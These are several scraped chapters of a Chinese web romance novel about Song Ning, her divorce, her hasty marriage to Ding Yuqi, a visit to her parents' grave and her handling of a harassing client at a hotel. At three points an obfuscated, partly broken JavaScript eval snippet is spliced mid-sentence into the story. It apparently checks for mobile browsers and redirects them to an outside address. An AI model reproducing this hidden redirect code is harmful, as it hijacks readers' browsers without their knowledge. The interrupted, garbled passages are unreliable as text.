她不过就是短住半个月而已,已经够麻烦苏菲的了,哪里还敢提什么要求。 苏菲安顿好她,笑着说了句:“你安心在这里住着,不用觉得我是予期的大嫂而觉得欠我或者是欠他的人情。我很喜欢你,就算没有他,我也很想跟你做朋友,你是我邀请回家做客的朋友。” 宋凝有时候真的觉得,苏菲不愧是大家族出来的,整个人身上都透着一股自信和飞扬。 之前她还怀疑丁予墨跟苏菲是因为要巩固家族而政商联姻,但是这几天的接触下来她完全可以肯定,这两个人绝对是真爱。 “至于予期,”苏菲说:“我觉得你也不用特别排斥,不过一切还是以你的意见为主,要做遵从自己内心的选择。” 苏菲下午还有其他事,就先离开了。 宋凝午睡了一会儿,醒来的时候天已经黑了。 她下楼到了客厅,就看到一个很和蔼的爷爷正在外面修剪花草。 应该是苏家的园丁。 她走了出去,呼吸着夜晚沁凉的空气。 爷爷笑着跟她打招呼:“宋小姐,你睡醒了。” 宋凝点了点头:“您怎么这么晚了还在工作?修剪花草明天做不可以吗?” 爷爷慢悠悠地说:“我动作慢,这个花园太大了,我怕明天弄不完。” 宋凝点了点头。 “宋小姐是苏小姐的朋友?” 宋凝“嗯”了一声:“算是吧。” 爷爷笑呵呵地说:“苏小姐交朋友眼光很高的,你能跟她当朋友,说明你也很好。” 爷爷很健谈。 宋凝之前都一直在酒店里工作,到了首都又一直有事,现在彻底闲下来了,猛然间觉得心里空落落的。 有个园丁爷爷能跟她说说话,她心里也舒服了一些。 “宋小姐,你住在这里,跟父母亲说了吗?” 宋凝低下头,苦涩地笑了一下:“我的父母都已经去世了。” “这样啊,那你还有别的兄弟姐妹没有?” “没有了,爸妈就只有我一个孩子。” “那你平时喜欢做些什么?” “养花,”宋凝说:“我以前在家里的花房,种满了玫瑰花。每到盛放的时候,满院子都是香气。” 说到这个,她也算是跟园丁爷爷有了共同语言。 她说:“晚上光线不好,我帮您吧。我之前侍弄过花草的,您跟我说一下怎么弄,我很快能上手。” 园丁爷爷呵呵笑:“你是客人,这怎么好意思。” “就当是我以工抵房租吧。” 园丁爷爷大致说了一下修剪花枝的方法,宋凝一听就懂,手里拿着花枝剪,做的又快又好。 而此时,还住在医院里被留院观察的丁予期正在郁闷中。 苏菲把宋凝带走了。 傅东擎是见不到她了。 但他也见不到了。 医院方面却认真负责到了病态的地步,一直说他女朋友主诉他头晕恶心,站都站不稳,尽管他的ct结果已经显示他根本没事,但医院仍旧不让他走。 说是病因未明,要继续观察几天。 他一个人住在病房里,无聊地快要发霉。 白天躺多了,晚上就有些睡不着。 他开始翻宋凝的微信朋友圈。 宋凝其实结婚后就很少发朋友圈了,大多数都是之前还在学生时期的。 有时候分享一些身边有趣的事,有时候就是单纯分享校园美景。 还有一些……就是傅东擎。 在她的朋友圈里,几乎不怎么秀恩爱,但是也能从蛛丝马迹里窥探出来,那时候她跟傅东擎感情很好。 他不小心误触了退出键。 再点进去的时候,发现刚刚那些全都删除了,她的朋友圈只剩下了三条。 第一条,是她跟父母的合照。 而且明显是用手机拍了纸质照片,还能看到照片的边缘隐隐泛着岁月的焦黄色。 照片里,她还是个四五岁大小的人类幼崽,圆嘟嘟的很可爱。 而且看得出来,她的妈妈就是个美人胚子,尽管穿着那个年代的衣服,仍旧很是清丽。 而她的父亲面相也很憨厚,一看就是个好人。 她更像她的妈妈一些。 第二条,是她抱着雪球,握着它的爪爪在跟镜头打招呼。 雪球那时候还是小雪球,白白的一团,吐出红色的小舌头。 第三条,是她刚刚发的。 黑夜中,盛开着一片静谧的玫瑰花田,不远处的夜空中还高高悬挂着弯弯的月亮。 很美的构图。 光是看图,就能让人感觉心里很宁静平和。 嗡—— 他有微信消息进来。 一张图片。 背景就是宋凝所处的这片玫瑰花海,而她就在花田中,晚风把她的裙角吹起,她正拿着花枝剪给一枝玫瑰剪枝。 紧接着图片的,是一条语音消息。 【外公:你小子眼光不错。】 第九十章 我以身相许? 丁予期看到的时候,刚喝进去的一口水直接喷了出来。 他一个电话飚过去,“外公你来首都了?” 电话那头,传来一个苍老但是中气十足的声音:“怎么,首都你家的,我不能来?” “不是,我就是很惊讶。” “惊讶个屁,我的孙子辈里面,只有你还是个光棍了。你妈天天担心你是不是喜欢男人,前阵子还在跟我说,万一你要是真喜欢男的她也能接受。” 丁予期又是一口老血差点呕出来。 他这个母上大人,接受度还挺宽…… “你大哥昨晚给家里打了电话,说了你和这个宋小姐的事,你妈高兴的一晚上都合不拢嘴,差点把你爸的嘴也扯成个大嘴猴。” 丁予期:“……我爸还好吗?” “不知道,我走的时候已经成了大嘴猴了,现在估计已经成了饕餮吧,整张脸上什么都没有,就剩下一张嘴了。” 丁予期:“……” “没事,实在不行让他去邻国做个整容,听说现在医美技术还挺高的,嘴角缝一下就没事了。” 丁予期没说话,只是微微松了一口气。 他喜欢宋凝这件事,是他埋藏在心底十几年的秘密。 怕说出来给宋凝造成麻烦,所以他谁都没说,这么多年他亲眼看着宋凝和傅东擎感情恩爱,甜甜蜜蜜,却只能强颜欢笑着说恭喜。 充其量,也不过是实在忍不住了阴阳两句,还被宋凝当做了他对她有敌意的证据。 丁予期有时候觉得,宋凝大概就是个妖精变得。 不然为什么明明什么都没有做,却还是引得自己牵肠挂肚? 他不是没有想过放下,他曾经把自己放逐到了天高皇帝远的太平洋中间的小岛,想着在这里过一段与世隔绝的日子。 等时间长了,慢慢就淡忘了。 可是当他一回国,又亲眼看到宋凝的那一秒,他就知道—— 淡不了。 永远也淡不了了。 他这辈子怕是都忘不了她。 既然忘不了,那丁予期就下了个决定——抢过来。 兄弟又如何? 他不缺兄弟。 死敌就死敌,他丁三少爷从小离经叛道惯了,多一桩离经叛道的事又如何? 外公问他:“你现在怎么打算的?” 丁予期说:“离婚手续一办,我就正式开始追她。” “屁!”外公急的骂了一句:“等你追到手,黄花菜都凉了!而且傅东擎能这么轻易放手吗?而且就算离婚了,万一你没追到,被其他男人追到了,这不是为别人做嫁衣吗?!” 丁予期挠了挠头:“那我能怎么办?” “当然是生米煮成熟饭啊!” 丁予期:“……爷爷,我妈这么自由奔放应该都是遗传您的吧?” 外公恨铁不成钢:“我刚刚都打听了,宋小姐是个挺淡然的性格。她现在的确是对傅东擎放下了,对你也有一些感激,但是仍旧没有往男女之间考虑。你要是想追女孩,首先就得让她把你列进丈夫的备选名单里,而不是做一个不咸不淡的朋友,或者连朋友都不是,还是朋友的前妻!” 丁予期听到外公的这一番高谈阔论,顿时有些懵逼。 “外公您知道她跟傅东擎之间的事,您不反对?” 外公直接问道:“我反对什么?” “她……毕竟结过婚,我还以为您这种比较传统的思想,会不太愿意接受。” “你个猪脑袋!什么年代了,还关注这些无关痛痒的事情。结过婚怎么了,宋朝有个皇后叫刘娥,不但嫁过人还生过孩子,皇帝依然让她当皇后呢!况且宋小姐的谈吐和性格我刚刚也了解了一些,是个挺不错的姑娘。要不然我怎么还夸你眼光不错呢!是不是傻!” 外公这机关枪似的突突突一顿说,丁予期直接听乐了。 “所以,您老人家挺喜欢她的呗?” “还不错。” “您就见了她一面,还没完全了解透彻呢,你就喜欢了?” 外公哼哼冷笑:“虽然只见了一面,但是你们两个在卫斯理酒店里的一举一动,晓筠可都告诉我了。” 林晓筠? 这个大嘴巴! 丁予期虽然咕哝了一句,但唇边已经染上了喜色:“行,我争取尽快把您的外孙媳妇给您领回去见见。” “我现在正见着呢,是不是傻!” 丁予期:“……” “哦对,你现在在医院里出不来,见不到人的是你吧?哈哈哈哈哈哈!” 丁予期:“……外公,您礼貌吗?” “好了不跟你说了,我继续看我外孙媳妇去。你好好休息,好好养养你那个脑子。” “我脑子没事。” “没事怎么人家医生不让你回家?你还是脑子有病。” 丁予期:“……” 外公您骂的真脏。 挂了电话,他想一下,给宋凝发了条微信。 【丁予期:在干嘛?】 【宋凝:帮你大嫂家里的花匠爷爷修花枝。】 然后,宋凝也给他发了一张图片。 还是那一大片的玫瑰花园。 只不过她是逆着光拍的,花的颜色显得更加艳丽了。 不过…… 花匠爷爷? 丁予期不用想就知道是谁了。 他外公还真是与时俱进,居然还玩上cosplay了。 【丁予期:别太累了,不行就放着让其他人做,又没人给你发工资。】 【宋凝:我这几天干的都是工作内容之外的活儿,你是不是也得给我加工资?】 丁予期挑了挑眉:【行啊,你想要多少?】 【宋凝:你能给多少?】 丁予期的手微微有些颤抖,他心里有个答案,但是不太敢下手。 过了几秒钟,他想起刚刚外公的话。 还是得尽快转变身份。 至少……得让她把自己当做一个男人看待。 一个可以发展情感关系的,男性。 【丁予期:那我以身相许?】 敲下这几个字的时候,丁予期的手有些微微地发抖。 他下意识的想要去摸口袋里的烟盒,可是摸了个空。 突然想起来,他已经换了病号服。 而且这里是医院,禁烟。 他刷了几下屏幕,刚刚还一直秒回的宋凝这时候突然没回复了。 他顿时感觉仿佛自己的心脏都被一双无形的大手给提了起来。 直到最上面的提示框里,弹出了【对方正在输入……】的提示。 他更是屏住呼吸,连眼睛都不敢眨。 叮咚! 她的消息过来了。 【宋凝:抱歉,我不太爱吃猪肉。】 第一百一十二章 我从来没说过我是正人君子 宋凝也有些迟疑地看着自己无名指上的戒指。 她的手就静静地躺在丁予期的掌心。 他用拇指和食指一直在她的无名指根部摩挲着,轻柔,但是也带着一丝占有的意味。 宋凝也敏锐地察觉到了,套在自己手指上的这个戒指明显有些大。 松松垮垮的,如果不是丁予期的手指一直摩挲,恐怕她随便一甩就会掉下来。 ——这的确是刚刚他买的婚戒,但是是男款的。 傅东擎不可置信地看着那一枚绽放着璀璨光华的戒指,喉结艰难地上下滚了滚。 丁予期把托着宋凝的手,跟她十指相扣,交握,然后举起来,让傅东擎看个清清楚楚:“是的,宋凝现在是我太太。 “不、不可能…… “不管你相不相信,事实就是这样。 傅东擎仍旧还在震惊当中:“不对,还是不对,我不相信! 他扑上来,握住宋凝的肩膀,眼中带着卑微地祈求:“阿凝,这不是真的,对不对?你只是跟我离婚了而已,你还是单身,我还是有机会把你追回来的,对不对? 宋凝挥开自己肩膀上的手,“傅东擎,算了吧。 “我不算,我不要就这么算了。阿凝,我错了,我真的错了,求求你不要……就当我求你…… 话说到最后,他的声音已经越来越低。 几乎只剩下气声。 面前的这两个人,都跟他有十几年的交情。 他了解他们每一个。 丁予期敢直截了当得在他面前炫耀结婚,而宋凝并没有否认。 他仅有的一丝侥幸就已经瞬间被浇灭。 再也没有重燃的可能。 丁予期牵着宋凝,把她拉到自己身边,然后拍了拍傅东擎的肩:“你自己可以吗?需不需要帮你叫人过来。 傅东擎佝偻着身子,本来就颓唐的样子,现在更是了无生气。 丁予期微微蹙眉:“我先带宋凝走,一会儿会有人来照看你。 说着,他牵着宋凝离开。 傅东擎抬起头,只看到两人并肩离开的背影。 他恍然惊觉,相恋多年,他好像从来都没有看过宋凝的背影。 她要么站在自己身侧,跟自己比肩而立;要是就是站在他身后,不管他做什么决定,都默默支持她。 每次只要一转身,就永远都能看到宋凝那张温柔而坚定的脸。 可是…… 他把她弄丢了。 因为一张莫名其妙的照片因为他那可悲的疑心病! “阿凝——” 他追了两步。 宋凝的脚步顿了顿显然是听到了。 但驻足也就只有短短一瞬很快丁予期就微微后撤了一步帮她推开了别墅的大门护着宋凝先行离开。 她的身影终究是彻底消失在了视野里。 倒是丁予期回头看了他一眼目光晦涩不明。 傅东擎忍不住吼了出来:“那张照片是你给我的!你又算什么好东西!?” “我也从来没说过我是正人君子”丁予期说:“不过你说得对我们两个都不是什么好东西。” 傅东擎咬着牙目眦欲裂:“你等着阿凝总有一天会看清你的真面目她不会愿意留在你身边的!她迟早会离开你!” 丁予期的眼神瞬间暗了下来带着幽冷和警告:“不会有那一天的。” “呵你先不要把话说的太满。我跟阿凝毕竟相爱了十几年你现在可以横刀夺爱不代表你能一辈子都留住她!” 丁予期深深地看着他语气平静:“那我们就走着瞧。” 宋凝走出别墅之后等了一会儿丁予期才走了出来。 她隐隐约约听到里面两个人似乎又说了些什么但是隔着一道玻璃门听不真切她也不想去问了。 她问:“事情都已经了解了我们现在去哪儿?” 丁予期问她:“你呢想去哪儿?” “我饿了。” 丁予期轻笑走上来牵住她:“想吃什么?” 宋凝思索了一下眼珠转了转:“你不是很了解我?你猜猜我现在想吃什么?” 丁予期颇有些玩味地挑了挑眉:“嘶今天也算是我们的大喜之日那今晚是不是也算是洞房花烛夜了?” 宋凝警惕地瞪了他一眼。 丁予期轻笑:“逗你的走吧。” “想到去哪儿了?” “你跟唐婷经常会去的那家米粉店。” “……你还真知道啊?丁总你到底跟踪了我多久?” 丁予期没回答只是温柔催促:“赶紧的那家米粉店最近变成网红了去晚了就吃不到了。” 上了车他熟练地往米粉店的方向开。 单手扶着方向盘右手在她面前摊开:“给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15986907|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吧。” 宋凝从无名指上把那一枚男款戒指取了下来放在他的掌心。 丁予期接过去郑重地给自己套在了右 手的无名指上。 尺寸刚刚好。 宋凝总算是明白了刚刚为什么这枚戒指会出现在她的手指上。 是丁予期从自己手上退了下来,给她套上了。 目的就是为了让傅东擎看到。 宋凝说:“其实不用戒指的,他看到结婚证,就什么都明白了。” “可能是我的私心吧,想看看这枚戒指戴在你手指上的样子。” “……” “傅东擎给你的婚戒呢?好像从你找我拟定离婚协议那时候开始,我就没见你戴过了。” 宋凝的声音很轻:“熔了。” 丁予期心里微微震动,不过很快,他就接受了这个答案。 唇角微微勾起。 是她的做事风格。 一旦决定,就干脆利落。 “……熔掉之后,只剩下一个粗糙的铂金块,和一颗光秃秃的钻石。我离开的时候已经放在了傅东擎的书房里,不过很显然,这么长时间过去了,他好像都没看到。” “不重要了。” “嗯,不重要了。” …… “先生?” “……” “先生,您没事吧?” 傅东擎不知道一个人待了多久,被家里新来的保姆叫醒。 新来的保姆姓张,四十多岁的样子,做事很利落。 傅东擎抹了一把脸:“没事,怎么了?” 张姐在围裙上擦了擦手,有些局促的说:“我不知道您今天回来吃饭,所以没有准备那么多。晚上三菜一汤您看可以吗?” 傅东擎敷衍地点了点头:“你看着做吧。” “好的,”张姐突然想起了什么事,从围裙的袋子里掏出了一个小盒子:“对了先生,我前几天打扫卫生的时候,在您的书房角落里发现了这个,好像是个宝石,我也不敢扔,想等您回来了问问您。” 张姐的手上躺着一个首饰盒。 暗红色,心形。 是他当初求婚的时候,装戒指的。 “……我书房的角落里?” “对的。” 傅东擎一把把首饰盒抢了过来,犹豫了许久,颤抖着打开…… 第一百一十六章 以后我会照顾好她 丁予期很快就解答了她的疑惑:“老板娘也可以。” 宋凝别开脸避开他的目光。 她顾左右而言他突然看到了斗柜上放着的一个相框立马走了过去:“这张照片居然还在!李叔估计费了好大劲才找回来的。” 相框上已经积了厚厚的一层灰但依稀还能看到是一家三口的合照。 男人把女儿扛在肩头一手扶着女儿一手牵着自己的妻子。 女人也把头轻轻靠在丈夫的身侧黑发如瀑甜美温柔。 宋凝已经几乎忘记自己有多久没有看到爸爸妈妈的样子了。 在她八岁以前他们一家人在南城是多么幸福又温馨的生活着。 爸爸最喜欢把她架在肩膀上看花灯逛庙会看舞龙舞狮。 南城不算是个特别大的璀璨都市但是整个小城都弥漫着一股恬淡浓郁的生活气息只要是一想到童年宋凝就觉得心里平静又安详。 只是后来…… 父亲出事 她用手描摹着父母的轮廓微微有些鼻酸。 “想他们了吗?”丁予期也走了过来在她身边站定。 宋凝没说话。 怎么可能不想呢。 那是全世界最爱她的两个人啊。 丁予期说:“你长得更像你妈妈一些。” 宋凝回过头看他丁予期似乎也在端详着这张照片。 看的有些认真。 宋凝点了点头:“以前酒店里的叔叔阿姨们都说我更像妈妈。” “你妈妈很美。” “谢谢。” “走吧。” 宋凝疑惑抬头看向他:“去哪里?” “去买点香烛和纸钱既然回来了我们应该去祭拜一下的。” “我自己去吧”宋凝说:“这种事情不好麻烦你。” 丁予期牵着她的手护着她往外走没再说话。 两人去买了很多祭奠用品丁予期直接带着她往墓园去。 宋凝的父亲是在监狱里去世的妈妈后来因病在H市去世也是在H市火化后来宋凝把她的骨灰也带回了南城把父母的骨灰合葬了。 丁予期一手拿着香烛纸钱一手牵着她沿着墓园的阶梯拾阶而上熟门熟路地找到了她父母的墓碑站定。 墓碑上贴着两人的照片。 上面写着:【宋建邺陈珍芳 之墓女宋凝立。】 宋凝本想问他怎么连自己父母的墓碑位置都知道但话到嘴边又咽了回去。 这个小丁总似乎对她的所有事情都了如指掌。 唐婷当年那件事她瞒的死死的为了怕有个万一连傅东擎都没有告诉。 但丁予期还是知道的清清楚楚。 丁予期把香烛一个一个整齐地摆在墓碑前点燃。 动作恭敬 做好这一切之后他率先在蒲团上跪了下来。 宋凝还在吃惊中丁予期就往她手里塞了一瓶酒还有一包山楂糖。 “帮我打开。” 宋凝看了看酒瓶子上的logo。 南山醉。 这是南城本地的一个酒厂产的酒放在全国没什么名气但是在南城却卖的很好也是爸爸生前最喜欢的酒。 还有山楂糖—— 也是妈妈从前最喜欢的零食。 宋凝越来越惊叹于他的信息搜集能力。 “……是李叔告诉你的吗?” 丁予期摇了摇头只是问她:“打开了吗?” 宋凝把山楂糖的包装拆开递给他。 丁予期打开了其中几枚放在墓碑前。 接过宋凝手中的酒瓶他先喝了一口然后撒了一些在墓碑前的石板上。 “叔叔阿姨我带宋凝回来看你们了。” “宋凝现在长大了她很好很优秀你们放心。” “以后我会照顾好她你们泉下有知安心吧。” 说完把酒瓶放在了山楂糖边上深深地磕了一个头。 宋凝明白他的意思。 不管是真是假他们现在都是在一个结婚证上的关系了。 他这是把自己当做了新女婿结了婚第一件事就是来祭拜岳父岳母。 宋凝突然觉得有些讽刺。 她跟傅东擎在一起那么多年只是在结婚的时候她带着他给父母的照片上了炷香。 只有丁予期千里迢迢带她回了南城亲自到墓园里祭拜。 到底谁才是女婿连她自己也说不清楚了。 “宋凝?” “嗯?” “我们一起给爸妈磕个头吧。” “……嗯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15986911|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 丁予期扶着她的手看着宋凝在自己身侧的蒲团上跪下。 两个人并肩跪着一起叩了三个头。 宋凝的眼睛有些润湿。 丁予 期握紧她的手,“别哭,爸妈肯定舍不得看到你哭。” 最后离开墓园的时候,宋凝的情绪还是有些低落。 丁予期一边开车,一边牵着她的手晃了晃:“今天允许你难受,明天开始就要振作起来了,装修队要进场了。” 宋凝抬起头来:“这么快?” 丁予期挑眉:“当初找到李明富的时候,我就在着手准备了。不过酒店的装修方案前几天才最终确认下来,本来想跟你说的,但又急着陪你去办离婚手续,所以就等到了现在。” 宋凝垂着头,抹了一把脸上的泪水,“我还以为你带我回南城,是为了在我爸妈墓碑前面过个明路。” “我倒是想,但你现在需要时间调整,我不逼你。” 宋凝笑了一下。 在墓园里都爸妈都叫了,还装什么大尾巴狼。 丁予期接下来的话却说的很认真:“丽晶酒店重新装修大概需要三个月时间,那个时候差不多也是你爸爸的忌日。到时候我们再回来一趟,一方面好好祭拜一下长辈,另一方面着手准备丽晶酒店的开业。” 宋凝问他:“对于丽晶酒店,你是怎么打算的?” “我会派个稳妥的人过来,你就先跟着我在卫斯理。”丁予期说:“你的管理经验还需要再积累,等这一趟回去,我再带你接触一下宴会筹备方面的工作。” 宋凝点了点头。 她想着也是这样。 嫁给傅东擎的这些年,他对她确实不错。 傅东擎觉得,出去工作太累太辛苦,所以一直不同意她出去找工作,说是让她在家里享福。 宋凝不否认这种躺平的生活是很多人期望的。 但,这不适合她。 她同意在家待着,也是出于对傅东擎的妥协,对经营婚姻的妥协。 但是如果要问她本人,她还是希望能够有自己的事情做,而不是每天只知道逛街度假的阔太太。 傅东擎是爱她。 但也只是用他自认为的方式爱她。 从不理会她的需求。 第一百一十七章 不但结过,还离过 或许是顾念她的心情又或许是为了避开傅东擎和林澜他们在南城待了十天才回到S市。 刚下飞机丁予期就被叫走了。 他接完电话脸色有些不好看只是嘱咐她:“你先回酒店我晚些到。” 宋凝点头:“好。” 司机把宋凝放在了卫斯理酒店门口刚进门大厅里面就在发生争执。 前台的几个小姑娘被骂的狗血喷头有一个都快哭了。 宋凝快步走了过去问道:“怎么回事?” 其中一个前台小姑娘认出了她:“宋经理!您可回来了!” “宋经理?” 正在吵嚷的男人瞪了一眼宋凝:“你是酒店的经理?” 宋凝点了点头:“是的先生您有什么需要可以跟我说我来帮您解决。” 男人从上到下打量了一下宋凝目光有些猥琐“经理就是经理比这几个前台倒是漂亮多了……” 他一张嘴宋凝闻到了一股浓浓的酒气。 宋凝扬起一个礼貌性的微笑“先生这样我先送您去休息区稍作片刻 男人摸着下巴眼睛直接盯在了宋凝的胸上。 她刚从南城回来南城气温高她今天穿了一条齐膝的连衣裙领口虽然是娃娃领但是挖进去的有些大露出胸前大片莹白的皮肤。 男人眯起眼睛舔了舔唇:“可以你来了我肯定满意。” “您请。” 宋凝引着他去了休息区又招手叫来一个男服务生给男人上了点茶水和果盘这才去了前台。 前台几个小姑娘看到宋凝的时候如蒙大赦:“宋经理您可千万不要跟那个男人单独在一起他就是个大色狼!” 宋凝大概也看出来了。 从她出现开始男人的眼睛基本没离开过她的身体。 要么在胸前逡巡要么在腰上徘徊。 现在也是即便休息区离前台有十几米的距离宋凝依然能感受到他火热的目光。 她背过身去仔细问了一下情况。 前台也说了这个男人是森和的小王总森和算是卫斯理酒店最大的供应商负责给酒店提供各种洗漱用品和清洁用品。 这个小王总是森和未来的太子爷但是本人基本是个二世祖贪财好色还滥赌。 今天是跟着他爹一起来的跟卫斯理谈下一季度的合作。 “ 瑞贝卡呢?” “瑞贝卡正在会议室里接待森和的老王总呢,本来一周前就该确定下个季度的合作意向了,但是小丁总一直不在,老王总生怕我们卫斯理有了其他下家,最近往我们这里跑的特别勤。” 言下之意,这个小王总估计也不是第一次来了。 几个前台妹妹没少受苦。 宋凝点了点头,明白了眼下的情况。 前台妹妹小声的提醒她:“宋经理,您要不先去换一身制服吧,现在身上这身衣服有点太惹眼了。” “好,那我快去快回,如果小王总问起,就说我很快回来。” “好的。” 宋凝快速去了更衣室,把披在脑后的头发整齐的盘起,然后换上了一身靛蓝色的制服套裙和高跟鞋。 她已经尽可能快速了,但是回到大厅的时候,还是出了问题。 小王总也不知道抽的哪门子疯,把一个前台小姑娘抱在怀里,任凭她怎么挣扎都不放手。 其他几个前台小姑娘有劝的,有拼命想拉的,但是小王总双眼一瞪,“你们敢对合作方动手?!” 直接把几个小姑娘都吓退了。 酒店业是服务行业,员工都是经过培训的,如果不是特别严重的问题,几乎都不会跟客人起冲突。 所以小王总这么一吼,其他几个小姑娘也不太敢说话了,只能担忧地看着那个被他禁锢在怀里的同事。 宋凝小跑了几步赶了过去,笑着叫了一声:“小王总,抱歉,让您久等了。” 小王总看她来了,才微微松开了怀里的人:“宋经理,你可让我好等啊。” 宋凝给他怀里那个前台小姑娘使了个眼色,小姑娘反应也很快,趁着小王总的注意力在宋凝身上,微微松开了她,飞快的推开他跑出去了好远。 宋凝示意了一下其他几个前台,让她们留两个继续工作,其他的过去看看刚刚那个被欺负的女孩子有没有出事。 小王总看了看空空如也的怀抱,噙着一抹邪笑,好整以暇地看着宋凝:“宋经理倒是挺护着这群小姑娘的嘛。” 宋凝笑着说:“都是出来打工的,小姑娘们也不容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15986912|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如果有什么地方得罪了小王总,您多担待。” “的确是得罪了,”小王总抱着手臂,目光移到了她露在外面的小腿上:“宋经理,你可得负责。” “那是当然,不如我们去会议室慢慢聊?正好您父亲也在。” 小王总哼了一声:“他聊的是生意,我想跟宋经理聊得……也是风花雪 月。” 宋凝忍着心里的恶心,面上依旧不露声色,只是略微刻意地摸了摸左手根部的位置。 然后略有些吃惊和慌张地叫了一声:“哎呀,我的婚戒好像不见了,可能是刚刚换衣服的时候不小心弄掉了。” 她顺手叫住了一个女服务生:“露露,麻烦你去更衣室帮我找一下吧。” 小王总有些吃惊:“你结婚了?” “是的。” “不是,你结婚了不在家里洗衣服做饭带孩子,出来上班干嘛?” 自从知道她结过婚之后,小王总的态度变得异常嫌弃。 宋凝察觉到了,不过这正是她要的效果。 她笑着说:“结婚了一样可以上班啊。对了,小王总以后如果办婚礼,可以来卫斯理哦。我们有好几个已经布置好的婚庆礼堂,如果不想要千篇一律的,我们还可以按照您的要求重新布置,就是费用会稍微高一点点。但您毕竟是我们的合作方,价格方面肯定给到您最优惠的。” 宋凝笑眯眯的,说话挑不出错来。 但小王总已经眉心酝酿着一团黑云。 他气哼哼地说道:“傻子才结婚,老子还没玩够呢。老子还有事,你让人送点果盘和茶水到会议室来。” “好的,您慢走。” 小王总气呼呼的走了。 前台的几个小妹妹才长长的吐出一口气:“这瘟神,可算是走了。” 宋凝说:“没事了,继续工作吧。” “宋经理。” “怎么了?” “您结过婚啦?” “……嗯。” “原来您不是骗他的呀?!您是真结过婚?” 不但结过,还离过。 另一个前台小姑娘还是懵懵的:“可是我不明白,为什么小王总一听说宋经理结过婚,立马就不纠缠了?” 第一百一十八章 我不会重蹈覆辙 宋凝忍不住又在心里啐了一口。 小王总这种人有色心没色胆。 欺负欺负年轻小姑娘还行 但是已婚女人就不一样了。 不但有卫斯理酒店这个工作单位还有老公。 如果人家老公闹起来事情就麻烦多了。 正说着瑞贝卡领着老王总从电梯里走了出来刚好跟小王总碰了个正着。 老王总仍旧是一脸无奈:“秘书小姐你们小丁总几次三番避而不见是不是不想合作了啊?还是你们有了其他供应商备选了?我们跟卫斯理都合作这么久了价钱方面我们还是可以再谈谈的突然更换洗护用品的品牌客人们也不好接受呀。” 瑞贝卡也只是公事公办:“实在抱歉王总等我们丁总回来我第一时间告知他这件事。等丁总有了决断我们也会第一时间通知贵公司的。” 老王总什么话都没说叹息着离开。 看到自家不成器的儿子老王总更是气不打一处来上手就打:“让你跟我来学着谈生意呢你又在楼下调戏人家小姑娘是不是?你个败家子……” “爸您能不能别动手这么多人呢!” “打的就是你臭小子……” 老王总余光里看到了宋凝似乎是觉得有些眼熟微微愣了一下。 很快他就想起来了。 他赶紧拉着自家蠢儿子走了过来笑容里略带着几分讨好:“宋小姐!真没想到在这里能遇到您!” 小王总更懵逼了:“爸您认识她?” 啪! 老王总结结实实给了自家儿子一个大比斗:“快叫人!” 宋凝也有些疑惑:“不好意思王总我们认识吗?” “您没见过我但是我可见过您……”老王总补了一句:“您的照片。” 宋凝更不解了:“冒昧问一下您是在哪里看到我的照片的?” 老王总说:“我之前在陈老先生的书房里看到的!您的照片就摆在最显眼的位置!” “陈老先生?” “陈从军老先生啊!” 见宋凝仍旧是一脸迷惑瑞贝卡小声在她耳边提醒道:“就是丁总的外公。” 宋凝顿时有些震惊。 丁予期的外公书房里为什么会有她的照片? 老王总还在谄媚地笑着:“不好意思啊宋小姐我这个傻儿子刚刚没做什么得罪您的事吧?” 小 王总还有些摸不清楚状况:“爸你干嘛对一个酒店服务人员这么客气啊!而且她已经结婚了都被人用过了我才不要结过婚的呢……” “臭小子!这位就是小丁总的夫人快叫丁太太!” 这话一出大厅里的所有人都震惊了。 几个前台小妹妹和路过的服务员一惊宋凝一愣瑞贝卡一喜。 结婚了? 都见过外公了? 看来他们家丁总的效率真的高! 小王总呵呵冷笑:“切 小王总嘿嘿邪笑:“宋经理同样都是丁太太你可亏大了啊!你上面两个嫂子可都是锦衣玉食的阔太太生活丁老三自己没什么钱自己老婆也让她出来打工……哎哟!” 老王总真是恨死自己这个嘴上没有把门儿的死儿子了。 堆着笑跟宋凝道歉:“不好意思啊宋小姐我立马带他走。小丁总那边还麻烦您美言几句。” 说着他揪着自己儿子的耳朵就拎了出去。 小王总疼的吱哇乱叫画面说不出的滑稽。 瑞贝卡第一时间凑了过来惊喜地问道:“你们结婚了?” 宋凝顿了顿:“结了但是以后还是会离的。” “……什么情况刚结婚就吵架了?对了丁总怎么没跟你一起回来?” 整个大厅里现在都是八卦的目光。 宋凝被看的有些尴尬“先干活吧。” …… 出了酒店老王总才松开自己儿子的耳朵。 